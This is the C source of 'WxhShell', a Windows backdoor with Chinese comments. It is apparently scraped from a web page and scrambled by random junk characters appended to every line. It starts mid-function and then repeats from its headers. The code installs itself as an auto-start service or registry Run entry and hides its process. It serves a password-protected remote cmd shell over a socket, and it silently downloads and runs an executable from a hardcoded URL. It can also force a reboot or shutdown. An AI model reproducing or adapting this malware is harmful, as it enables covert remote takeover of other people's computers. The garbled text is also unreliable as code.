    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b ?B"u^b!  
    else { m&Ms[X  
    closesocket(wsh); lBD{)Va  
    ExitThread(0); eq(|%]a=  
    } `i f*   
    break; *h@nAB\3  
    } O|4~$7  
  // 获取shell Hu1w/PLq  
  case 's': { Dr7,>Yx  
    CmdShell(wsh); k3sP,opacX  
    closesocket(wsh); wD22@uM#]  
    ExitThread(0); gS4K](KH |  
    break; 5NJ@mm{0  
  } y?_tSnDK  
  // 退出 ^q%~K{'`-  
  case 'x': { AJC Wp4,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?mG ?N(t/h  
    CloseIt(wsh); 43,- t_jV  
    break; _YmY y\g  
    } |os2@G$  
  // 离开 yw#P<8{/[  
  case 'q': { $`{}4,5M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oJ{)0;<~L  
    closesocket(wsh); D 67H56[  
    WSACleanup(); )K8JDP  
    exit(1); gA" =so  
    break; [GU!],Y  
        } \n`UkxZn+  
  } ~ Z%>N  
  } #)my)}o\p  
 4>0xS -  
  // 提示信息 w?oIKj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S9U9;>g  
} r/:9j(yxr  
  } _$MoMg{uJH  
*M"lUw#(f  
  return; !%T@DT=l&  
} $Snwx  
9I]*T  
// shell模块句柄 gl2~6"dc  
int CmdShell(SOCKET sock) l]oGhM;  
{ %#/7Tl:  
STARTUPINFO si; x*Z"~'DI  
ZeroMemory(&si,sizeof(si)); <:q]t6]$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k}F;e_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >'Y]C\  
PROCESS_INFORMATION ProcessInfo; UCvMW*gs  
char cmdline[]="cmd"; Tg{d#U_qB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *!C^L"i  
  return 0; 34s:|w6y  
} A' dt WD  
5OpK~f5  
// 自身启动模式 { F. Ihw  
int StartFromService(void) <:RU,  
{ A n/)|B4  
typedef struct QL_bg:hs  
{ c9r2kc3cy{  
  DWORD ExitStatus; WXO@oZ!  
  DWORD PebBaseAddress; f{* G%  
  DWORD AffinityMask; 7F)HAbIS  
  DWORD BasePriority; 9FcCq*D  
  ULONG UniqueProcessId; 2MtaOG2l&q  
  ULONG InheritedFromUniqueProcessId; L|!9%X0.  
}   PROCESS_BASIC_INFORMATION; A4%0  
NBUM* Z  
PROCNTQSIP NtQueryInformationProcess; -PEpy3dMY  
<Ni]\-*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cN&b$ 8O=%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -2% [ ]  
X@|  
  HANDLE             hProcess; Ji%T|KR_  
  PROCESS_BASIC_INFORMATION pbi; "b-6kM  
crZ\:LeJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /oe="/y6  
  if(NULL == hInst ) return 0; X1tAV>k5'L  
EG<K[t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ug UV`5w   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |`:Uww+3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hj0uv6t.c  
qI5/ME(}  
  if (!NtQueryInformationProcess) return 0; z@T;N'EM  
?\ho9nyK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sx*(JM}Be  
  if(!hProcess) return 0; O yj!N`&z@  
P9X/yZ42  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZFz>" vt@  
ffuV$#  
  CloseHandle(hProcess); gt}/C4|  
;uR8pz e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -I\_v*nA  
if(hProcess==NULL) return 0; ) 1H]a'j  
(W*yF2r  
HMODULE hMod; RFQa9Rxk  
char procName[255]; F4">go  
unsigned long cbNeeded; Wm Od1  
.\*\bvyCw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Tjvc!4_b  
2 B5kpmH:  
  CloseHandle(hProcess); _y5b>+  
-pa.-@  
if(strstr(procName,"services")) return 1; // 以服务启动 n# Z6d`  
 LDwu?"P!  
  return 0; // 注册表启动 63-`3R?;  
} {7B$%G'  
4.CLTy3W  
// 主模块 3lA<{m;V  
int StartWxhshell(LPSTR lpCmdLine) kTs)u\r.  
{ ]'2p"A0U  
  SOCKET wsl; IxgnZX4N  
BOOL val=TRUE; _%Mu{Ni&  
  int port=0; UmInAH4  
  struct sockaddr_in door; ?ew^%1!W.  
KC8A22  
  if(wscfg.ws_autoins) Install(); v|QFUa`  
~>s^/`|?  
port=atoi(lpCmdLine); }_5z(7}3  
/EKfL\3  
if(port<=0) port=wscfg.ws_port; !=q {1\#  
7d'4"c;*;  
  WSADATA data; B'atwgI0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YgdoQBQ  
C=%go1! $  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jVk|(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +z("'Cv  
  door.sin_family = AF_INET; q:1 1XPP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u+th?KO`  
  door.sin_port = htons(port); |~v($c  
J>XaQfzwU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LF*3Iw|v  
closesocket(wsl); EzzzH(!j  
return 1; p*NC nD*  
} ?aO%\<b  
zXUE<\  
  if(listen(wsl,2) == INVALID_SOCKET) { *%uv7G@%N  
closesocket(wsl); .yg"!X  
return 1; Ldt7?Y(V(  
} &v3r#$Hj[  
  Wxhshell(wsl); #;}IHAR  
  WSACleanup(); 7{az %I$h  
YfF&: "-NU  
return 0; S,Zjol%p  
b^hCm`2w*  
} :qgdn,Me  
\+L_'*&8  
// 以NT服务方式启动 fBw+Y4nCO7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VJHHC.Kz  
{ ~LYKt0/W&  
DWORD   status = 0; '{6`n5:e  
  DWORD   specificError = 0xfffffff; f&^Ea-c  
~3f#cEP>d}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?_n.B=H`8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;hd> v&u#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zb);08X  
  serviceStatus.dwWin32ExitCode     = 0; ]2b" oHg  
  serviceStatus.dwServiceSpecificExitCode = 0; A[+op'>k  
  serviceStatus.dwCheckPoint       = 0; \EB]J\ x<  
  serviceStatus.dwWaitHint       = 0; &sx/qS#,VL  
T']*h8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~R!(%j ]  
  if (hServiceStatusHandle==0) return; rYm<U!k  
[HQ17  
status = GetLastError(); PMXnupt  
  if (status!=NO_ERROR) #c/v2  
{ r]0o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '[\%P2c)Q  
    serviceStatus.dwCheckPoint       = 0; [k."R@?  
    serviceStatus.dwWaitHint       = 0; )2rI/=R  
    serviceStatus.dwWin32ExitCode     = status; Av+ w>~/3  
    serviceStatus.dwServiceSpecificExitCode = specificError; <JZ=K5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qc*+;Wi+5  
    return; IwWo-WN7.  
  } Dq2eX;c@  
TvI}yaCu/x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mjs*Z{_F^  
  serviceStatus.dwCheckPoint       = 0; >(%im :_  
  serviceStatus.dwWaitHint       = 0; O]{H2&k@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hih`:y  
} 3t%uUkXl  
s/ZOA[Yux  
// 处理NT服务事件,比如:启动、停止 Txoc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8 LaZ5  
{ -P'>~W,~  
switch(fdwControl) zq1&MXR)l  
{ {-17;M $  
case SERVICE_CONTROL_STOP: 6{+~B2Ef  
  serviceStatus.dwWin32ExitCode = 0; eTrGFe!8w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *j <;;z-  
  serviceStatus.dwCheckPoint   = 0; Tb{,WUJg2  
  serviceStatus.dwWaitHint     = 0; A9lqVMp64  
  { BA t2m-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uc7Y8iO  
  } WQ"ZQ  
  return; )]qFI"B7  
case SERVICE_CONTROL_PAUSE: wu 3uu1J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =4Ex' %%(U  
  break; |'KNR]: N  
case SERVICE_CONTROL_CONTINUE: _f34p:B%s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; df8rf8B-  
  break; t.knYO)  
case SERVICE_CONTROL_INTERROGATE: bk^ :6>{K  
  break; xsAF<:S\  
}; dc lJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aG=Y 6j G  
} (G$m}ng  
SAo"+%  
// 标准应用程序主函数 mX|AptND  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QAb[M\G  
{ _B W$?:)9  
Gl1`Nx0  
// 获取操作系统版本 fDbs3"H Q  
OsIsNt=GetOsVer(); C<n.C*o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eJy@N  
eMh:T@SN  
  // 从命令行安装 yUH8  
  if(strpbrk(lpCmdLine,"iI")) Install(); x$s#';*  
wy Le3  
  // 下载执行文件 9sT?"(=  
if(wscfg.ws_downexe) { ]L_HnmD6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rp1 u  
  WinExec(wscfg.ws_filenam,SW_HIDE); MuO>O97  
} b#XS.e/uf  
t-E'foYfr`  
if(!OsIsNt) { eY&UFe  
// 如果时win9x,隐藏进程并且设置为注册表启动 PK+][.6H  
HideProc(); _Yh4[TT~/  
StartWxhshell(lpCmdLine); H_*]Vg  
} jpBE| Nm  
else ?94da4p  
  if(StartFromService()) =#+Z KD  
  // 以服务方式启动 '0o`<xW  
  StartServiceCtrlDispatcher(DispatchTable); ,:L}S03k  
else ?W(wtp,o  
  // 普通方式启动 ZFdQ Z=.'  
  StartWxhshell(lpCmdLine); *`l>1)B>  
r_2  
return 0; Y<0f1N  
} txL5' mK  
Bj]0Cz  
jR/X}XQtY  
7q67_u? @  
=========================================== uF^+}Y ZT  
qC3 rHT]  
xH' H! 8  
3\'.1p  
qc`_&!*D  
r!x^P=f,MJ  
" 4&$G;?#W2  
a7d782~  
#include <stdio.h> .upcUS8  
#include <string.h> {) .=G  
#include <windows.h> _nTjCN625  
#include <winsock2.h> $[|8bE  
#include <winsvc.h> !-;Me&"I=`  
#include <urlmon.h> s]2k@3|e  
 vb70~k  
#pragma comment (lib, "Ws2_32.lib") Nq9(O#}  
#pragma comment (lib, "urlmon.lib") |]`+@K,S  
NGxii$F  
#define MAX_USER   100 // 最大客户端连接数 l YZHM,"  
#define BUF_SOCK   200 // sock buffer ^qk$W? pX  
#define KEY_BUFF   255 // 输入 buffer D(r|sw  
Ot,sMRk'  
#define REBOOT     0   // 重启 T+~~w'v0  
#define SHUTDOWN   1   // 关机 J#X7Ss  
>c1mwZS ;  
#define DEF_PORT   5000 // 监听端口  vG  
F1,pAtA  
#define REG_LEN     16   // 注册表键长度 YobIbpo  
#define SVC_LEN     80   // NT服务名长度 }$UuYO/i  
r":<1+07  
// 从dll定义API h]zx7zt-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IC{>q3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (JM4W "7'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i "-#1vy=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gpgi@ Uf  
Lv_6Mf(  
// wxhshell配置信息 10 p+e_@  
struct WSCFG { OOv"h\,  
  int ws_port;         // 监听端口 klx4Mvq+/@  
  char ws_passstr[REG_LEN]; // 口令 F\]rxl4(L  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4 bJ3uIP#  
  char ws_regname[REG_LEN]; // 注册表键名 xpS#l"dr  
  char ws_svcname[REG_LEN]; // 服务名 p(U'Ydl~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j$L<9(DoR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ib#x~Db  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0CDTj,eK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zY#U]Is  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sqb#U{E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ", |wG7N K  
C&;'Pw9H  
}; oF*Y$OEu?c  
y'+^ ME$H  
// default Wxhshell configuration v)pdm\P  
struct WSCFG wscfg={DEF_PORT, 8F@6^9C  
    "xuhuanlingzhe", v:vA=R2  
    1, ,:v}gS?Uq  
    "Wxhshell", Us%VB q  
    "Wxhshell", >Ek `PVPD  
            "WxhShell Service", pr m  
    "Wrsky Windows CmdShell Service", X0U6:  
    "Please Input Your Password: ", [UI bO@e  
  1, leD?yyjw7  
  "http://www.wrsky.com/wxhshell.exe", t7~mW$}O  
  "Wxhshell.exe" a v`eA`)S  
    }; +(P;4ZOmB  
Al` ;SWN  
// 消息定义模块 M)LdGN?$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2dq{n.cgs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JRo{z{!O6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &R8zuD`#  
char *msg_ws_ext="\n\rExit."; +g.WO5A  
char *msg_ws_end="\n\rQuit."; fe Q%L  
char *msg_ws_boot="\n\rReboot..."; <<`."RY#0  
char *msg_ws_poff="\n\rShutdown..."; '<Vvv^Er  
char *msg_ws_down="\n\rSave to "; 9u)h$VC  
*i n_Z t3  
char *msg_ws_err="\n\rErr!"; hm5<_(F!  
char *msg_ws_ok="\n\rOK!"; sVC5<?OW!p  
X;0EgIqh3  
char ExeFile[MAX_PATH]; fDRQ(}  
int nUser = 0; 2GD%=rP2]  
HANDLE handles[MAX_USER]; Q7SS<'(  
int OsIsNt; x7*}4>|W,I  
,sc>~B@Q  
SERVICE_STATUS       serviceStatus; %\^x3wP&o\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dE^'URBiA  
w5[POo' 5  
// 函数声明 :N[2*.c[  
int Install(void); %_ z]iz4  
int Uninstall(void); t=pG6U  
int DownloadFile(char *sURL, SOCKET wsh); w"sRK  
int Boot(int flag); wj?f r?  
void HideProc(void); tL3(( W"  
int GetOsVer(void); !sLn;1l  
int Wxhshell(SOCKET wsl); S\f^y8*<  
void TalkWithClient(void *cs); jt]+(sx  
int CmdShell(SOCKET sock); :Ert57@l  
int StartFromService(void); ce;9UBkOg2  
int StartWxhshell(LPSTR lpCmdLine); "~Eo=R0O  
tz)L`g/J~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G>!"XK:fB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4dy)g)wM  
MKH7d/x  
// 数据结构和表定义 8^~ljf]6  
SERVICE_TABLE_ENTRY DispatchTable[] = l p? h~  
{ H`".L^  
{wscfg.ws_svcname, NTServiceMain}, Jne)?Gt  
{NULL, NULL} `  ^6}Dn  
}; nyDqR#t  
^ ]B&7\w"t  
// 自我安装 0 @ ,@  
int Install(void) 0J_x*k6  
{ aE;!mod  
  char svExeFile[MAX_PATH]; m\VJ=  
  HKEY key; g%+nMjif  
  strcpy(svExeFile,ExeFile); adxJA}K}  
-x RsYYw  
// 如果是win9x系统,修改注册表设为自启动 CtE".UlCA  
if(!OsIsNt) { O ,DX%wk,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @!F9}n AP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >DV0!'jW  
  RegCloseKey(key); .*,Zh2eXU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L@+j8[3BX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); foN;Q1?lS  
  RegCloseKey(key); \t1vYIY]T  
  return 0; ))MP]j9 T  
    } * T~sR'K+|  
  } ``O\'{o&  
} B(>_.x#kv  
else { !<~Ig/  
hR?rZUl2M  
// 如果是NT以上系统,安装为系统服务 n_w,Ew,>5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D@3|nS  
if (schSCManager!=0) 1%+0OmV&  
{ co12\,aD  
  SC_HANDLE schService = CreateService X~j A*kmAj  
  ( mg 3jm  
  schSCManager, WTd}) s  
  wscfg.ws_svcname, 'DIE#l`  
  wscfg.ws_svcdisp, `6M(`*Up  
  SERVICE_ALL_ACCESS, uD5i5,q1Hs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1]kk  
  SERVICE_AUTO_START, nU`;MW/^w  
  SERVICE_ERROR_NORMAL, Le}q>>o;q  
  svExeFile, [6D>2b}:{[  
  NULL, aNwDMd^+  
  NULL, 8cd,SQ}y  
  NULL, )45,~+XX  
  NULL, Q/+a{m0 f  
  NULL {vU '>pp  
  ); ;3-ssF}k*  
  if (schService!=0) ROfmAc  
  { 1n5&PNu  
  CloseServiceHandle(schService); C= Zuy^  
  CloseServiceHandle(schSCManager); tF;aB*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bhgh ]{  
  strcat(svExeFile,wscfg.ws_svcname); L Y M`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6jnRC*!?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AfY(+w6!K  
  RegCloseKey(key); /@ OGYYH,M  
  return 0; SnXLjJe  
    } @e slF  
  } sO*6F`eiZ  
  CloseServiceHandle(schSCManager); "y`?KY$[N  
} N7e^XUG   
} ?@u &3/&  
zzxU9m~"  
return 1; EYQ!ELuF  
} _l  Jj6=  
6z(_^CY  
// 自我卸载 eFx*lYjA  
int Uninstall(void) 6?Wsg`9  
{ UC0 yrV  
  HKEY key; kxO$Uk&TX  
Fb*;5VNU.  
if(!OsIsNt) { [;b9'7j'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'R$~U?i8  
  RegDeleteValue(key,wscfg.ws_regname); =];FojC6I  
  RegCloseKey(key); h0gT/x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6$z UFIk  
  RegDeleteValue(key,wscfg.ws_regname); d`xqs,0f  
  RegCloseKey(key); Z`f _e?  
  return 0; Xu T|vh  
  }  {<i!Pm  
} b!N`@m=  
} U_J|{*4S.!  
else { c=K M[s.  
;uJVY)7a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (kSk bwu  
if (schSCManager!=0) cEN^H  
{ dzcPSbbpt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~!uK;hI  
  if (schService!=0) ffWvrY;j[  
  { &Y,Rm78  
  if(DeleteService(schService)!=0) { M\GS&K$lq  
  CloseServiceHandle(schService); i.#s'm.9  
  CloseServiceHandle(schSCManager); $;">/ "7m  
  return 0; #a0 (Wh7  
  } @tP,l$O&  
  CloseServiceHandle(schService); Qejzp/2  
  } 5yQgGd)  
  CloseServiceHandle(schSCManager); ;m\(fW*ii  
} ik]UzB  
} RS93_F8   
#8(@a Y  
return 1; BvYJ!Vj  
} vu1:8j  
^WRr "3  
// 从指定url下载文件 \t(/I=E8/  
int DownloadFile(char *sURL, SOCKET wsh) 5H5< ft,  
{ "kL5HD]TC  
  HRESULT hr; L h0<A%  
char seps[]= "/"; ](O!6_'d  
char *token; }X`K3sk2/z  
char *file; 1,/oS&?E  
char myURL[MAX_PATH]; p'R}z|d)  
char myFILE[MAX_PATH]; m/{rmtA4  
2qEy"DKu  
strcpy(myURL,sURL); ZA# jw 8F  
  token=strtok(myURL,seps); SAqX[c  
  while(token!=NULL) N_T;&wibO  
  { _LS=O@s^  
    file=token; ?>w%Lg{L}  
  token=strtok(NULL,seps); Y/4B*>kl  
  } uXp0D$a  
v3[ 2!UXq  
GetCurrentDirectory(MAX_PATH,myFILE); #-{4 Jx  
strcat(myFILE, "\\"); N#UyAm<9  
strcat(myFILE, file); _qGkTiP  
  send(wsh,myFILE,strlen(myFILE),0); u=4tW:W,  
send(wsh,"...",3,0); i#eb%9Mn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^y?? pp<1J  
  if(hr==S_OK) Bkcs4 x  
return 0; eQNYfWR  
else :0]KIybt  
return 1; Bp b_y;E  
{? 6]_J  
} BO1Mz=q  
Va{`es)hky  
// 系统电源模块 m7d? SU  
int Boot(int flag) \Q & Kd|  
{ {5RM)J1  
  HANDLE hToken; }?H|9OS  
  TOKEN_PRIVILEGES tkp; 1_F2{n:yp  
p{88v3b6  
  if(OsIsNt) { 3vMfms  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e\)PGjSI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C^ uXJ~8  
    tkp.PrivilegeCount = 1; yJ?4B?p(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :V >Z|?[*H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OpiN,>;  
if(flag==REBOOT) { mH;\z;lyK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UD .$C  
  return 0; eO*FoN  
} k/*r2 C  
else { o8Tt|Lxb$8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vQ 5 p  
  return 0; ZX'/[wAN)  
} eM{+R^8  
  } Id9hC<8$dq  
  else { VJm).>E3k  
if(flag==REBOOT) { uNLA/hL+n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z~v.!j0  
  return 0; g"F vD_  
} X62GEqff  
else { c!j$ -Ovm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {wK98>$a  
  return 0; N U\B  
} 0>>tdd7  
} 3!#d&  
7hQrL+%q8  
return 1; <Azv VSA,  
} "*<9)vQ6|  
qWy(f|:hYi  
// win9x进程隐藏模块 7mt;qn?n  
void HideProc(void) L%Me wU0TZ  
{ IL&Mf9m  
H71LJfH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }c$Zlb  
  if ( hKernel != NULL ) L`tr7EEr  
  { bF<FX_}!s!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZI}7#K<9X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3u _[=a  
    FreeLibrary(hKernel); [Jwo,?w  
  } )}tI8  
H W)> `  
return; QT&2&#Z  
} T5Yu+>3  
3Oy?_a$  
// 获取操作系统版本 x}{/) ?vC  
int GetOsVer(void) }e  s  
{ >2tYw,m  
  OSVERSIONINFO winfo; 4Un(}P'   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~#C7G\R  
  GetVersionEx(&winfo); ]-&A )M6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RNiFLD%5  
  return 1; Il`35~a  
  else **N{XxdN  
  return 0; >;LXy  
} `8/K+ e`  
jZx.MBVy]  
// 客户端句柄模块 XShi[7  
int Wxhshell(SOCKET wsl) uD4on}  
{ -XRn%4EX?  
  SOCKET wsh; ;p)RMRMg  
  struct sockaddr_in client; B<%cqz@  
  DWORD myID;  LhKaqR{  
sIJl9  
  while(nUser<MAX_USER) ~=67#&(R  
{ *j6K QZ"  
  int nSize=sizeof(client); uB_8P+h7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?0*,x)t  
  if(wsh==INVALID_SOCKET) return 1; ^ ~'&K e  
P{-j ^'y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NwP!.  
if(handles[nUser]==0) B:J([@\'  
  closesocket(wsh); {<+B>6^  
else *t=8^q(K[  
  nUser++; Vsw] v  
  } y(^t&tgjS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @G,pM: t  
;UUpkOQO(  
  return 0; `ECY:3"$KA  
} h}0}g]IUx  
2@~.FBby7@  
// 关闭 socket 4} .PQ{  
void CloseIt(SOCKET wsh) amvD5  
{ B8.a#@R  
closesocket(wsh); _@2}zT  
nUser--; JJe8x4  
ExitThread(0); 6Ft?9 B(F:  
} }$%j}F{  
pW5ch"HE  
// 客户端请求句柄 &tVIl$e  
void TalkWithClient(void *cs) X(_xOU)V  
{ 5ir Ffr  
!$n@-  
  SOCKET wsh=(SOCKET)cs; xbqFek$/r  
  char pwd[SVC_LEN]; /{Mo'.=Z  
  char cmd[KEY_BUFF]; p+7G  
char chr[1];  R.x^  
int i,j; UlP2VKM1&  
00SYNG!  
  while (nUser < MAX_USER) { NVnId p  
kx{LY`pY  
if(wscfg.ws_passstr) { #ME!G/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w :nYsuF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $;iMo/  
  //ZeroMemory(pwd,KEY_BUFF); wE3L,yx=  
      i=0; `D-P}hDm!  
  while(i<SVC_LEN) { u}r>?/V!  
FP=up#zl  
  // 设置超时 |qs8( 5z0  
  fd_set FdRead; k I?+\k\V`  
  struct timeval TimeOut; p~'iK4[&6  
  FD_ZERO(&FdRead); 7F5v-/  
  FD_SET(wsh,&FdRead); baQORU=X  
  TimeOut.tv_sec=8; t| PQ4g<  
  TimeOut.tv_usec=0; zEVQ[y6BcM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !\< [}2}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & zR\Rmpt  
/ f5q9sp8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;NMv>1fI  
  pwd=chr[0]; q\pI&B  
  if(chr[0]==0xd || chr[0]==0xa) { vmzc0J+3p  
  pwd=0; #Z. QMWq  
  break; pKtN$Fd  
  } X;bHlA-g  
  i++; `- HI)-A97  
    } Wu~cy}\  
,B~5;/ |  
  // 如果是非法用户,关闭 socket S;0z%$y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H@xHkqan  
} f@@7?5fW  
WKAG)4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R 7h^ @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m#Ydq(0+  
UY6aD~tD0  
while(1) { 5jq @ nq6  
)2 lB  
  ZeroMemory(cmd,KEY_BUFF); ?6W v["%  
v<@3&bot  
      // 自动支持客户端 telnet标准   ;kI)j ?  
  j=0; b/{$#[oP`  
  while(j<KEY_BUFF) { ^Gi7th,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u`CHM:<<?  
  cmd[j]=chr[0]; !,+<?o y  
  if(chr[0]==0xa || chr[0]==0xd) { ds9U9t  
  cmd[j]=0; ExhK\J  
  break; K0WX($z~;  
  } G} f9:G  
  j++; \G#_z|'dN  
    } *sQ.y {  
,\?s=D{  
  // 下载文件 AGl#f\_^  
  if(strstr(cmd,"http://")) { [_eT{v2B4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8J#xB  
  if(DownloadFile(cmd,wsh)) QQ`tSYgex  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L +mE&  
  else ~:L5Ar<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @d5$OpL$%  
  } .]H/u "d  
  else { ?S;z!) H)P  
kbL7Xjk  
    switch(cmd[0]) { Vm?#~}T  
  : t9sAD  
